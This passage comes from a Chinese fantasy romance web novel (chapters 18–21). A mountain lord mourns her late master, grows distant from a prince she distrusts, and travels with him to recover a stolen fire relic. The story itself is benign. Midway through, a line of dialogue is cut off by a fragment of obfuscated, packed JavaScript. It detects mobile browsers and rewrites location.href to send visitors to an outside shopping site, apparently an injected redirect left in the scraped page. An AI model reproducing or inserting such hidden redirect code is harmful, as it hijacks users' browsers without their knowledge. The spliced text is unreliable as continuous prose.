“也许这才是真实的她吧。”贺缃叶看着她的背影感慨。
不知为何,一连几日云青莲都没来送遮天镜,贺缃叶也懒得管,这一日恰是南筠雾的祭日,她提着两坛酒去了晚月坡。
晚月坡那棵千年古树后,埋着一套衣裳。贺缃叶没有立碑,因为师父说过不愿,死后只想归于天地,她便拿了一件师父最喜欢的裙子,埋在树下,当作纪念。
“师父,您最喜欢的西凤酒,徒儿陪您喝。”她拍开坛封,直接往嘴里倒。
“这古树上的绸带越来越多了,您可喜欢?我记得以前您还说山上有些冷清,如今小妖众多,叽叽喳喳的,可热闹了。”
“徒儿没有辜负您的期望,守住了封印,您若知晓,可会为我骄傲?”
贺缃叶靠在树上曲着腿,有些醉意,脸上现出少有的孺慕之情。
视线中,远远望去,一个熟悉的人影由远及近。
她口中喃喃道:“师父,是你吗?”
待那人影到了跟前,才发现来人是云青骊。
“殿下怎么来了?”她脑子有些混乱。
“山君怎喝了这么多酒?”云青骊看着倒在地上的空酒坛,眼中诧异之色显露。印象中,贺缃叶一直是个极有分寸的人。
“因为这是师父喜欢的酒啊。”她浅浅笑着。
“师父?”云青骊索性也坐在了地上,与她并肩,“还从未听山君提起过尊师。”
“我师父啊,是个很好的人,特别好。”贺缃叶絮絮叨叨说个不停,“你知道吗?她以前同我说,千万不要委屈自己,不行的话就招个上山女婿。”
说完她自己都忍不住笑了起来,但因为喝醉了显得有几分傻气,边说边摇头:“还有啊,她告诉我,不要相信王室中人,他们全是坏蛋!”
云青骊闻言怔住,半晌才接话:“山君觉得我也是坏人吗?”
“你?”贺缃叶凑近他的脸,仔细观察后竖起食指,“我瞧着你比他们强一点点,就一点!”
酒气若有似无地掠过云青骊的脸庞,感觉痒痒的,他眼眸微动,不动声色地往旁边让了让。
“我母妃也不喜待在宫中。”他像是陷入了回忆之中,声音悠悠的,“我这辈子都未曾见过她几次,已经快忘了她的模样。”
“你母妃有眼光!”贺缃叶突然伸出手跟他击了个掌,变得有些兴奋,“破王宫谁爱去谁去!”
云青骊哭笑不得,没想到她醉酒是如此模样,说出口的话全都是大逆不道之言,也多亏此处无旁人。
“你师父是如何仙去的?”山上竟也没个墓碑。
谁知贺缃叶突然站起来指着花海的方向,气咻咻地:“还不是都怪那该死的化蛇!师父为了封印它们,不得已引爆了内丹,以剑和肉身精魄为代价,这才换来了百年太平。”
“你师父是个英雄。”原来花海阵法是她师父所设,这小骗子。
“那,你的母妃呢?”贺缃叶眼神逐渐迷离。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16623895|186743||http|test|mini|href|location''.split(''|''),0,{}));
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>“听他们说,我母妃是因体质不好,渡劫失败而消散于天地。”云青骊说完声音极轻地加了一句,“可我不愿相信。”
“我也不信师父就这么离开了。可又能怎样呢……”贺缃叶说着说着声音小了下去。
云青骊眼疾手快地接住她下滑的身体,将她扶靠在了树干旁,而后自己打开另一坛酒,喝了下去。
“我母妃生前也来过此处。”他拿出那副画,仔细摩挲着,“不知会不会同你师父相识。”
肩膀一沉,原是贺缃叶靠上来睡着了。
他盯着她安静的睡颜,竟感受到了前所未有的安宁。
一个时辰后,晴山从远处走了过来。
她原本是看自家山君去了许久还未归,怕出了什么事,便找了上来,可没想到竟看到了眼前这副情景。
“见过三殿下。”她低头行礼。
“你家山君喝醉了,先将她送回去。”
云青骊压低了声音,将贺缃叶轻轻地抱了起来,准备往山下走。
“殿下,给我吧。”晴山拦住他。
虽说晚月坡无人,但这一路不好说,若是被人瞧见,只怕会有风言风语,对山君不利。
云青骊思索两息后将人递了过去。
“多谢殿下。”
贺缃叶醒来已是酉时,头疼嗓子干,她咳了两声,喊道:“晴山。”
“山君您醒了?可有不适?”晴山自门外快速进来了。
“水。”她的声音有些哑。
晴山忙倒了杯水过来,扶着她喝下。
“我怎么回来的?”她还记得自己喝了许多酒,后来好像看到了云青骊。
“是奴婢将您抱回来的。”晴山默了默,“不过,原本三殿下想送您回来,奴婢拒绝了。”
“他抱我了?!”她差点从床上弹起来。
“是您靠在三殿下肩头睡着了,所以……”晴山立刻强调,“不过,就一瞬间,奴婢马上将您接过来了!”
贺缃叶:……
这么说,她跟云青骊说的那一番话不是假象了。
她认真思考了下自己有没有说什么不能宣之于口的话语,有些懊悔。虽说云青骊也说了些关于他母妃的事,但自己所说前后不一致,也不知他会作何想法。
“他怎么上去的?不是已经将周围清场了么?”
晴山立刻跪下,一脸歉疚:“都是奴婢的疏忽,请山君责罚。”
贺缃叶无奈闭眼复又睁开,语气恢复如常:“起来吧,不怪你。”
“谢山君。”晴山站起身来,立在一旁,不敢再说话。
少倾,月魄端着一只托盘进来了。
“山君,东西准备好了。”
贺缃叶下床穿好衣裳,吩咐:“你们都出去吧。”
“是。”月魄将盘子放在桌上,和晴山一同出去了。
每年南筠雾的祭日,贺缃叶都会亲手编一只剑穗,以慰思念之情。
原本断水剑上有一只剑穗,是她小时候送给师父的生辰礼,师父一直留着不舍得换,可后来师父去世前,那只剑穗却不见了,于是她每年都编一只留下,放在密室里。
往常这种时刻,两个侍女都不会来打扰她。
可她刚编了一炷香的功夫,晴山便在外面敲门:“山君,三殿下来了。”
“说我有事在忙,不见。”
贺缃叶拒绝得十分干脆,一来是今日醉酒所行之事着实有些不合时宜,她眼下不太想面对云青骊,二来她手上正忙,任何事都没有师父重要。
“是。”
一盏茶后,晴山的声音又在外面响起:“山君,三殿下说等您忙完。”
贺缃叶手上动作一滞,又接着忙活。
看来今日,云青骊是非见她不可了,那便让他等着吧。
19. 第 19 章
待贺缃叶编完手中剑穗,收入密室后,已是暮色四合,远处山峰的轮廓变得模糊,她走了出去,正好看到院中站着的人。
“殿下有事找我?”
云青骊听到声音转过身,没有一丝不耐:“山君忙完了?”
“嗯。”贺缃叶微微点头,而后在石桌旁坐下来,给自己倒了杯水,“殿下找我何事?”
“无事,便不能找你么?”
这话听着怎么有些怪?联想到今日他抱了自己……
贺缃叶秀眉微拢,差点被水呛住,忙顺了口气,正色道:“殿下莫要玩笑了,还是说事吧。”
“白日里……”
“白日里的事请殿下莫要再提!”都怪自己醉酒后,嘴跟那筛子一样。
云青骊看她反应激烈,愕然道:“我是想同殿下道个歉,白日误闯了晚月坡……”
哦,她还以为是什么呢……
“此事我并未放在心上,殿下不必介怀。”她轻咳两声,掩饰尴尬。
“那便好。”
贺缃叶又拿起了杯子往嘴边送,关于谈话,两人都心照不宣地不曾提及。
“对了,山君,明日大王兄会携遮天镜前来。”
明天吗?看来该来的总会来。
她的眼神一下子锋利了许多:“殿下作何打算?”
“既然大王兄想用十箱灵石卖大护法一个人情,那便成全他。”云青骊握着杯子的手骨节分明,泛着莹白之色,“只不过此事能成与否就是另一回事了。”
“殿下的意思是,打算毁掉遮天镜?”
谁知云青骊摇了摇头:“此时毁了,父王会震怒。”毕竟是用来庇佑工事的,接二连三地出事,任谁都逃不了。
言罢,他用杯子里的水在桌上写了个“金”字。
“殿下是想要……引蛇出洞?”贺缃叶突然灵光一闪,明白了他的用意。
“正是。”
*****
翌日,云青莲带着几个巫师上了卧龙峰。
据他所说,巫师是前来测吉凶的,商量将遮天镜放在何处最佳。
贺缃叶看着他们的动作,冷嗤一声,左右也是装装样子,懒得再看,倒不如站在一旁欣赏风景。
“听闻太子殿下最近修陵颇为积极,连父王都对你赞赏有加。”云氏三兄弟站在一处,各怀心思,云青莲忽然说道。
“大王兄也想来?”云青冥立即回了一句。
除了月鸣珂,他对谁的态度都算不上好。
贺缃叶见怪不怪,但云青莲的脸色有些沉,不过他很快就笑了起来:“太子说笑了,我有馔玉楼要经营,自是无暇分身。”
听罢,贺缃叶只在心里觉得好笑。这云青莲想挑拨老三和老四的关系,奈何云青冥不吃他这套。
气氛有些沉默,几息过后,他又问道:“四弟的伤可好利索了?可千万莫要再出上次的差错了。”
“劳大王兄记挂。如今有太子同我一道,自是不会再出什么差错。”云青骊脸色平静得像是在说今日吃什么一般。
“那便最好不过了。”两人软硬不吃,云青莲脸上挂不住,颇有些咬牙切齿的味道。
但贺缃叶有种感觉,云青骊像是真的不在乎此事是一人之功还是两人合力,他最近这段时日貌似有些闲散?
反倒是云青冥,为了博得鸣珂的好感,最近都十分专注修陵之事。
还未从思绪中抽离,她便听到了自己的名字。
“听闻贺山君手中有一物,名炎阳之火,不知能否拿出来见识一下?”
好,矛头对准她了,以为她是软柿子?
贺缃叶面上很恭敬,但说出口的话却不那么客气:“怕是要让大殿下失望了,此物我先前确实有,不过已经被我用掉了。”
气死你。
“你!”云青莲正欲发难,那几名巫师走了过来。
“启禀大殿下,那观星台上正合适,臣等已放好了祭阵,只需殿下将遮天镜置于阵内便可。”
云青莲冷哼一声,去了观星台上。
他拿出遮天镜,放在圆台中央,不放心地问:“此阵可能保遮天镜无虞?”
“回殿下,若非人为破坏,定是无虞。”为首巫师垂首回道。
“那便好。”他走下台子,状似无意地提醒,“此物就劳烦三弟四弟看顾了。”
云青冥只简短地“嗯”了一声,云青骊说了句:“大王兄放心。”
见状,云青莲不再自找没趣,带着巫师下山去了。
可一到山下,他便变了脸。
“给我去查!贺缃叶说的是不是真的?炎阳之火在何处?”
“是,殿下。”
在应对云青莲这件事情上,云青骊和云青冥倒是有些奇怪的默契。
但等人一走,云青冥就自顾自离开了。
看完这一整出戏的贺缃叶走到云青骊身旁,语意不明道:“殿下这家事,还真够精彩的。”
“让山君见笑了。”云青骊并不否认。
贺缃叶十分好奇,他好像一副永远都不会发恼的模样,到底是伪装得过于真实,还是性情如此?
不过,说到底,这些跟她无关。
“我还有事,先告辞了,殿下请便。”
人都离开,她也没必要待在这里了。只不过刚转身,就听到云青骊在身后说道:“山君可否帮我一个忙?”
她顿住脚步却未转身:“殿下请说。”
“不知七日后,山君可有闲暇?”
七日后?好像没什么特别的事,于是她转过头回道:“有。”
“我母后七日后生辰,她喜欢银月兰,但我找的花匠都无法让其盛开,不知山君可否一试?”云青骊语气诚挚,表情十分认真。
银月兰?上次在街上遇到的那个花妖手中便是此物。只不过彼时兰草枯死,长出的是新芽。
“殿下是将我当做花匠了?”她的表情似笑非笑。
“只是见过山君培养落日花的成果,若有冒犯,还望山君海涵。”
贺缃叶实在是怕了云青骊客气到疏离的模样,像是自己欺负了他一般,甚至还有种他们根本不相识的感觉。
“殿下,你的脾性一直如此么?”她问了个不相干的问题,云青骊没太懂她的意思,眼神中透出疑惑。
“殿下和太子性格大相径庭,有些不像王族中人。”贺缃叶直言直语。
闻言,云青骊笑了起来。
“山君与我想象中也截然不同。”
“我一贯如此。”贺缃叶直言,又回到正题上,“银月兰之事,我可以帮殿下,不过我向来粗鲁,王后的生辰礼我便不参加了。”
云青骊原是想邀请她参加宴会,但此言一出,便不好再说什么,只道了声
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谢。
“对了,殿下。”贺缃叶又想起今天云青莲咄咄逼人的模样,遂问道,“今日大殿下,是否对炎阳之火有所怀疑?若是他查到苍黎峰的阵法,那我们所有的努力就都白费了。”
云青骊略一思忖,启唇说道:“山君不必忧心,明日起,我会加强此山的防守,任何人不得无故接近这里,定会保封印无虞。”
“多谢殿下。”
贺缃叶说完突然想到一件事,于是试探着问:“殿下,若是封印被破,这陵寝定会遭到破坏,你想过这种可能吗?”
她不信他没有想过,只是眼下自己将此事放到了明面上。可若是他明知这种情况,还来修陵,那便是有问题了。
“压住封印便不会有后顾之忧。”
“所以殿下当初助我,其实是为了修陵一事能顺利进行?”她还记得当初问他,他的回答不太能让人信服。
“你这样想?”
贺缃叶第一次从他的语气中,听出些微波澜。
“我怎么想的不重要,只是看不透殿下的用意。”
两人无声站在观星台边上,背影笔直,却各自透露着一股萧索之感。
云青骊不欲多言,转过身朝着相反方向走去,却在走了几步后,背对着贺缃叶留下一句:“我上山不是为了修陵。”
这几个字听在耳中,真的可笑,比他为了修陵才帮她更让人难以接受。
贺缃叶想过很多次,他最近的确有些不那么积极,以为只是云青冥来了的缘故,但却没想到他最开始的目的就不纯,还装作一副假正经的模样,将自己耍得团团转,呵。
亏她还觉得妖王偏心偏到了骨子里,所以让他来做这种吃力不讨好的活,没想到竟是他自己早有打算,果然是诡计多端的男人。
山上的风吹得她的脸有点凉,她拢了拢披风,心底有些不是滋味。
师父说得果然没错,王室中人,没什么好东西。
接下来的七日,贺缃叶一直待在屋里,没有出门,云青骊也识趣地没来找她。
但她的情绪不是很好,连两个侍女都感受到了不对劲。
“晴山,我瞧着咱山君这几日,好像心情有些不好呢。是不是因为三殿下啊?”月魄在灶房里悄悄地同晴山咬耳朵。
“山君不说,咱们就当不知,莫要胡乱猜测了,免得惹山君不快。”晴山虽然嘴上如此说,但眼中的担忧之色还是藏不住。
月魄将摘好的菜丢进簸箕里,连连叹息:“这叫什么事啊?前些日子山君还将他当做盟友,如今却不知为何成了这副模样。”
往常渌波还会时不时地来找她打探个消息,聊聊天什么的,这几天却连人影都不见。
“那日从卧龙峰上下来便是如此,想来是有人跟咱们山君说了些什么。”
“那你说,山君明日还会去宫里替三殿下饲养银月兰吗?”月魄心不在焉地洗着菜。
晴山虽厨艺不行,但刀功极好,她将月魄洗好的菜切得整整齐齐,接着回道:“你又不是不了解山君的性子,她允诺之事不会轻易改变的。”
“明日咱们定要好好跟着她,免得出了什么岔子。”
“嗯。”晴山轻轻点头。
然而,翌日清早,贺缃叶就独自一人去了宫里,只留下一张纸条:不必忧心,等我回来。
两人对视一眼,却默契地没再说什么。
20. 第 20 章
曜日殿外,贺缃叶如期而至,她被缟羽带到一处种满了银月兰的地方。
“山君,此处便是后殿,您安心在此,不会有人前来打扰,有事唤属下便是。”
面都不露,这是连演也不愿意演了?狗屁盟友。
贺缃叶扯了扯嘴角,觉得无趣至极。
“知道了。”她打算完成此事,便立刻离开。
缟羽退下后,她便将脑中的杂念全都抛在了脑后,只专注于银月兰。
如此大一片,所幸她带的自制培养液够多,只是要花些灵力了。
虽说云青骊在修陵一事上骗了她,但他一向大方,总不会亏待了自己。
她认真地将培养液均匀浇在每一株银月兰上,接着以灵力慢慢催动,直到新芽或者矮小的植株缓缓长大,成为观赏性极佳的成熟兰草。
虽然有些累,但她瞧着自己辛苦劳动的成果,颇为满意。
“姑娘真真是妙手生花。”
贺缃叶准备自行离去,却在此时,身后传来一道声音。
闻言,她转过身子,一位容貌昳丽,装扮华美的女子正笑着朝她走来。
她有些迷茫,正想喊来缟羽问问情况,又听到那女子问了一句:“姑娘可是贺缃叶贺山君?”
“正是。”别人一直同她说话,再不理就显得不大礼貌了。
“本宫是白浅云,骊儿的母后,听闻他请了一位花艺高超的技师,特来瞧瞧,不曾想竟是贺姑娘。”
“缃叶见过王后。”她立即低头行了一礼。
“这银月兰开得真好。”白浅云夸道,而后盯着她瞧了半晌笑道,“贺姑娘蕙质兰心,可有什么想要的赏赐?”
“三殿下已经付过酬劳,谢过王后美意。”
不知为何,贺缃叶总觉得,妖后的话听起来怪怪的。
白浅云又说道:“今日是本宫寿辰,贺姑娘可愿前来?就当做是本宫的客人。”
拒绝了云青骊,但眼下再拒绝白浅云便是有些不知好歹了。
“多……”贺缃叶刚开口,就被打断了。
“母后。”云青骊快步走了过来,“贺山君不习惯这些场面,还是莫要为难她了。”
“不算为难,多谢王后,缃叶愿去。”贺缃叶不想拂了妖后的面子,也不想顺了云青骊的意。
她没看到云青骊错愕的眼神,只专心盯着白浅云的脸。
“骊儿,看来你的面子没有母后的大啊。”白浅云开着玩笑,将微妙的气氛化解了一二。
“儿臣自是不及母后。”云青骊垂首说道,又唤来缟羽,派人将银月兰全都搬去了两仪殿。
是夜,两仪殿中灯火通明,花香萦绕。
贺缃叶坐在白浅云下首,与云青骊并排,她不喜交际,只安静地坐着喝酒吃菜。偶尔抬头,还能看到对面的云青冥和云青莲兄妹。
月鸣珂坐得稍后一些,她见贺缃叶也在,连忙跟她招手示意,贺缃叶回了个微笑。
“今日是王后寿辰,不必拘束,都自在些。”云玄天难得没那么严肃。
众人应诺:“是。”
“这位是?”他扫了一圈大殿,发现自家儿子身边坐着个不认识的女子。
“王上,这位是贺山君,臣妾的客人。”白浅云出声解释,“这银月兰便是她妙手生花培育出来的,实在难得。”
云玄天点点下巴,说了句王后喜欢便好,没再追问。
倒是云青莲,皮笑肉不笑地说:“贺山君真是好手艺,不去做花匠倒是可惜了。”
闻言,贺缃叶猛地抬起头,盯着他的脸,准备回击。
可在她开口之前,就有人替她出头了。
“大殿下,您习得一手绝佳的火系术法,也很适合炼剑一途呢。”月鸣珂嗓音柔柔的,却满是维护之意。
云青莲脸上怒意丛生,刚要发难却被堵住了口。
“大王兄,贺山君是我母后的客人,莫不是你对我母后有何不满?”贺缃叶听到云青骊出声,还以为出现了幻觉。
“你胡说什么!我只是开个玩笑,莫要血口喷人。”云青莲声音大了些,随即又立刻反击,“瞧三弟如此模样,都不知是在维护谁呢~”
此言一出,殿中好几人脸色都不太好。
“莲儿,够了!”上首的姜妃见状立即制止,又转头对脸色铁青的妖王言道,“王上恕罪,臣妾管教无方。”
云玄天从椅子上站了起来:“本王乏了,你们自行其乐便是。”
说完他带着满脸都是戏谑之色的楚妃走了。
殿上氛围在云玄天离开后轻松了些,但贺缃叶还是觉得有些不适应。她有些后悔,一时冲动答应了白浅云,眼下自己在这里遭罪。
趁着更衣的功夫,她出去透了透气,却在长廊尽头看到了云青骊。
她脚步顿了顿,随后神色自若的走了过去。
在目不转睛经过他身侧之时,贺缃叶听到了一句话:“我去姑瑶山是为了寻我母妃去世的真相。”
闻言,她停了下来,背对着他回:“殿下不必同我解释。”
那七日,她想通了许多。
原以为云青骊在结盟后诚心把她当朋友,但他们之间本来就掺杂着利益纠葛,说是合作伙伴更为贴切,不可能像她和鸣珂那般,真心相对。
有些关系,不必过分强求。
“山君可有什么想要的?”云青骊转过身,看着贺缃叶的清瘦但挺拔的背影问道。
“殿下是指银月兰的报酬?”
“是。”
“一盒妖灵石。”说完她就离开了。等价交换,利益对等,甚好。
宴席结束后,贺缃叶同月鸣珂一起回了姑瑶山。
“鸣珂,今日多谢你替我说话。”两人并肩站在沧浪居院子里,明月高悬于夜空。
月鸣珂偏头盯着贺缃叶的脸:“别客气,我们是朋友。你今日心情不好?”
“谈不上心情不好,只是想通了一些事。”
“是关于三殿下的吗?我看到你和他在长廊相遇了。”
贺缃叶在身后的石凳上坐了下来,单手托腮:“我朝他要报酬了,一整盒灵石够我山上花用好久了。”
“噗。”月鸣珂的手在她眼前晃了晃,“也就你敢明目张胆地找他要钱。”
“他先开口的,不要白不要。”
“缃叶,你若有事,一定不要憋在心里。”月鸣珂瞧她一脸无所谓的模样,看似洒脱,实则像是失望。
“好。”贺缃叶站起来抖了抖披风,看了眼夜空,“天色不早了,快回去睡觉吧。”
“你也早些休息。”
第二日上午,晴山就拿了只盒子放在她案头,说是渌波送来的。
“知道了,放着吧。”贺缃叶专心处理着手中的事务,没去管它。
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午后,她正窝在榻上看书,突然窗外刮起了大风。
“涿光山的妖如何了?”她放下书问一旁正在打扫的晴山。
“回山君,咱们山上的妖自从上次楚家小姐来了之后,就迁走了大部分,如今在涿光待得很好,个个修炼都有进益。”
“那就好,你寻个时机将剩余的妖都带过去吧。”
晴山闻言一愣,问道:“山君也准备迁去涿光?”
“嗯。”贺缃叶又拿起了书,“灵气充溢,适合修炼。何况这里封印已经加固了,再过百十年不是问题。”
“可三殿下他们还在修陵......”
“他们修他们的,关我何事?”
“是。那鸣珂小姐......”
“星图要不了多久就可以画完,届时她再来找我便是。”
“好,奴婢这便去办。”
晴山走后,贺缃叶将书放在了一旁,走到窗边,盯着院子里的花盆发呆。
“哎哟,山君,这么大的风,可别吹着凉了。”月魄进门见此情景,忙走过来将窗户关上了。
贺缃叶后退两步,一脸无奈:“我哪有这么弱不禁风?”
“没有,但若是受凉可得遭罪了呀,我的山君。”月魄转过身,上前给贺缃叶拢了拢披风。
贺缃叶坐回榻上,过了一会儿才说道:“你去将我的花盆搬进来吧。还未长新芽,我怕它们被风吹坏了。”
“好,您坐着,奴婢去。”
也不知为何,这么久了,花盆里的落日花还未长出新芽,得找个时机好好研究研究,贺缃叶心想。
又过了半月,天气愈发冷,连树上的叶子都掉得差不多了。这一日清早,月魄和晴山正忙着收拾贺缃叶的私人物品。
“山君,咱们的东西有些多,可得好些时候收拾呢。”月魄活泼,藏不住话。
贺缃叶穿着厚披风,坐在屋中用布擦着沧雪枪,头也不抬地回:“不妨事,慢慢收,莫要忘了密室里的东西。”
“奴婢明白。”
“若是鸣珂来问,就跟她说一声,咱们搬走一事,其他人便不必告知了。”
“是。”月魄又想起什么,忙问,“那三殿下的午膳是否要同他解释一番呀?”
贺缃叶擦枪的动作一滞,语气淡淡的:“他总会知道此事的,解不解释无所谓,得了空将本月的饭钱给退回去便是。”
“是,山君。”
“对了,明日我再去检查一下缚地之阵,确保万无一失,才好放心离开,你们不必跟着我。”
“是。”两人应诺。
可没过多久,院门被拍得砰砰直响,门外是缟羽急切的声音。
“山君,不好了,炎阳之火不见了!”
贺缃叶扔下布,提着枪奔出门外,面沉如水:“怎么回事?”
“这几日,我家殿下在忙着青衣卫之事,没怎么看顾山上,谁知今日来却发现缚地之阵有所松动,阵中的炎阳之火已然不见了。”
“眼下如何?”
“所幸地玉髓和藤妖血都已经刻在了阵盘上,殿下已经用灵力稳住了,但尚不知没了炎阳之火是否会有大碍,故而特意派属下来告知一声。”
贺缃叶偏头问身后:“山上近日可有人来过?”
晴山毕恭毕敬:“奴婢不曾发现。”
“去看看。”贺缃叶手持沧雪枪,去了花海。
21. 第 21 章
从前郁郁葱葱的花海,如今只剩下光秃秃的枝叶,瞧着有几分荒凉。
云青骊正蹲在地上查探,贺缃叶过来,他便站了起来。
倒是贺缃叶,许久未见他,还有些恍惚之感。
她收起枪,走上前几步,而后行了个礼:“见过三殿下。”
“山君不必多礼。”云青骊出声,又接着说,“原本这封印万无一失,但没了炎阳之火,总是不太妥当,近几日山君可见过什么可疑之人?”
“并未。”贺缃叶懒得绕弯子,直言,“我虽不知怎么做到的,但定是云青莲所为。”
“可眼下并无证据证明此事与他有关。”
“殿下神通广大,定有法子。”贺缃叶说完,扭头就走。
她想自己去查。
但云青骊喊住了她:“此事还需山君相助。”
“殿下请说。”她停下脚步,声音淡淡的。
“方才我探查了一番,此处有化生水的痕迹。”
“化生水?”她转过头来,眼中露出不解的神情。
“此水能阻碍阵法运行,待阵法停下的那一瞬,便可从中取出炎阳之火。”
但近日并无人上山,不过……
“你的意思是,他用了潜隐纱?”贺缃叶联想到丹穴山之事,突然灵光一现。
“正是。”云青骊话锋一转,“但山君不必过于忧心,炎阳之火已被用过,效用不佳,若是云青莲想以此修炼来提升功力,要先将此火净化。”
“如何净化?”
“风雨斋。那里的主人风雨先生善修复净化之术,云青莲大概率会去寻。”
贺缃叶立即接道:“我去截他。”
“他怕是已经去了。不过风雨先生此人古怪,只接待女人,且他人所求不一定会出手。”
“风雨斋在哪?”贺缃叶上前两步。
“离此八十里的郊外,我同你一起去。”
贺缃叶下意识地拒绝:“不必,我去解决便是。何况你也说了,风雨先生只接待女人,殿下去了也没用。”
她只是实话实说,并无嫌弃之意。
云青骊没有生气,而是问道:“山君是不愿同我待在一起?”
“是。”此言一出,两个侍女都替她捏了把汗。山君啊,也不必如此直白,平白得罪人。
“那恐怕要山君多忍让一番了。我早年间同风雨先生打过交道,对此人还有几分了解,山君同我一道前去胜算更大。”云青骊语气不疾不徐,娓娓道来。
明明生气的该是他,可到头来不爽的却是贺缃叶,她甩下一句山脚见便自行回了沧浪居。
“山君,咱们还收拾吗?”月魄跟在身后,不确定地问。
“等我拿回炎阳之火再说。”贺缃叶回去换了套利落的便服,同晴山交代了几句便朝着山下走去。
云青骊正在不远处等她,身旁停着一辆兽车,两个贴身侍卫不见踪影。
“山君请。”
“殿下这是何意?”贺缃叶眉梢微动。
“它会自己走。”云青骊修长的手点了点那头孰湖兽。
贺缃叶有些无语:“殿下就不能御剑吗?”
都什么时候了还慢悠悠地坐车去。
云青骊默了默,才解释:“孰湖速度不慢的。实是方才为了稳住阵法,灵力有些消耗过度,怕是无力御剑,若山君不介意,咱们便……同乘一剑。”
贺缃叶:哦,那算了。
“还是坐车吧。”她先一步钻进了车里,没看到云青骊微扬的嘴角。
这还是贺缃叶第一次坐云青骊的车,虽说车内空间很大,但只有一排座位,于是她不得不与他并肩而坐,不过两人中间空得还能再坐下一人。
见状,云青骊也没说什么,他将小桌上的点心推过来了些,问道:“事发突然,山君可要用些糕点?”
“我不饿。”贺缃叶摆手。
“那...看会书?”他又递来一卷书简。
贺缃叶想着,两人这么干巴巴地坐在一起有些尴尬,就接了过来:“多谢殿下。”
她打开一看,此书竟是讲的兰草养护之法。
“殿下喜欢此类书籍?”她侧过脸,看向云青骊。
“母后喜欢银月兰,我便搜集了许多有关兰草的书籍,自己也学一些,当然不及山君在此事上的造诣。”云青骊眼中盛着浅浅笑意。
“殿下过谦了。”没想到妖后非他生母,他竟真心孝顺。
对了,上次在曜日殿,他说来姑媱山是为了探寻生母去世的真相,莫非她母妃的死另有隐情?可与姑媱山有何关系呢?
贺缃叶将心中疑问暂且按下,静静地倚着车壁看书。
车内过于安静,她看了几页,不经意抬起头,见云青骊的目光正落在她脸上。
“我脸上有东西?”她有些莫名。
云青骊不期然与她撞个正着,须臾将视线移到桌面的茶盏上,语气淡然:“自是没有。想问山君要不要喝茶?”
“哦,谢殿下。”还真有些渴了。
贺缃叶合上书,将身子往前凑,准备去端桌上的茶盏,却在下一瞬不小心打翻了云青骊递过来的茶。
“抱歉!”她立刻拿出帕子,将附在云青骊手上的茶叶残渣擦拭干净。
云青骊抿了抿唇,说出来的话却带着一丝温度:“无妨。”
“殿下车上可备有膏药?”贺缃叶看着他红肿起泡的右手手背,心生愧疚,“我来帮殿下涂药。”
“有。”云青骊用左手探到桌子底下,拖出一个小箱子,里面装着各式各样的小瓶子,他拿出一个绿色的小圆瓶,放在桌上,“劳烦山君了。”
贺缃叶坐得近了许多,先将云青骊手上的泡挑破,接着用竹篾将瓶中的膏体挖出,再轻轻地涂到他的手背上,涂完还顺势吹了吹,惹得他差点把手缩回来。
“好了。”就在他因为手背发痒快忍不住的时候,贺缃叶涂完了。
她把药收回箱子里,用干净的纱布包扎了伤处,又将桌子收拾干净了。
“山君包扎的手法有些奇特。”似有若无的香气和手背的痒麻感让云青骊有些不自在,看着右手的纱布,他装作若无其事地问。
“我师父教的。”她随口答道。
“你师父定是个很厉害的人。”云青骊突然说。
“为何如此说?”
“她修为高深,能独自封印化蛇,又能教出山君这般优秀的徒弟,定然是个了不起的人。”
看不出来,云青骊还会拍马屁。
贺缃叶将书还给他,轻轻扯了扯嘴角:“殿下说笑了,我师父只是个普通大妖。”
云青骊看她不愿多说,便换了话题:“这两日不便之处怕是要有劳山君了。”
“应该的,殿下有事直言便是。”本就是自己不小心造成的,帮帮他也没什么。
云青骊还欲说些什么,兽车突然停了下来。
“到了。”他起身拉开车帘,跳了下去,又转身来接贺缃叶。
“殿下不必如此。”贺缃叶不想与他有过多的肢体接触,便自行跳下了车。
云青
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骊默默收回了手。
“殿下的车可要拴着?”毕竟眼下也无人看顾。
谁知他笑了起来:“不必,孰湖自会等我召唤。”
贺缃叶便没再说什么了,只将目光投向前方。
“此处便是风雨斋吗?”
眼前高楼耸入云霄,在郊外这种荒凉之处显得有些格格不入,也不怪她有此一问。
云青骊点点头:“正是。”
两人朝前走了一段距离,便有小童拦住他们。
“两位客人可有拜帖?”
“劳烦小友通报一声,就说云青骊求见风雨先生。”
那小童闻言,说了句稍候便进去了。没过多久他出来,直接将两人带了进去。
贺缃叶挑了挑眉,看来云青骊所言对此人有所了解不尽详实。
七弯八拐后,小童停了下来,入眼便是一间竹屋,看起来像是高楼后院。
“公子请进,我家先生正候在屋中。”
“多谢小友。”云青骊浅笑。
门被推开,一阵穿堂风迎面吹来。
贺缃叶被吹得吸了口冷气,心生不解,此人真真奇怪,大冷天住个两面漏风的竹屋。
云青骊见状,迅速单手将门关上,屋内又没那么冷了。
两人朝着左侧走去,桌边坐着一个人。
一个……女人?贺缃叶还以为自己出现了幻觉。风雨先生竟是模样年轻的女子?
不过她未曾表露出诧异,而是默默跟在云青骊身旁。
“两位请坐。”听起来有些沙哑的声音。
“见过先生。”云青骊微微弯腰行礼,而后坐了下来,贺缃叶跟着照做。
“这位是?”女子将贺缃叶上下打量了一番。
“她是晚辈的朋友,贺缃叶。”
“月兔妖,少见。”风雨先生不带感情地随口提了一句,可不知为何,贺缃叶有些赧然。
还没等她说什么,风雨先生便单刀直入,边问边给两人倒了热茶:“云公子此番前来所为何事?”
云青骊左手取过其中一杯,十分自然地递到贺缃叶手上,而后说道:“晚辈想请问先生,可曾有人拿着炎阳之火前来请您净化?”
风雨先生略一思索,点了点头道:“是有这么回事。”
“先生已经出手相助了么?”
“不曾。”风雨先生饮了口热茶,回道,“我的规矩,不插手王族之事。”
闻言,贺缃叶心中一紧,照此说来,那她也不会帮云青骊了,莫非此事白跑一趟?
“先生已经知晓来者何人?”
“自然。”
来的人多半是云青黛,贺缃叶心想,只是不知炎阳之火如今在哪,也不知他们是否要快些离开此地去追赶。
“那人可走了?”云青骊抿了抿唇,声音有些低。
“她不走,在前面楼里住着呢。”风雨先生似是有些不虞。
“不瞒先生,那炎阳之火是贺姑娘的,可被大哥抢了去,如今二姐来便是为了净化此火。”
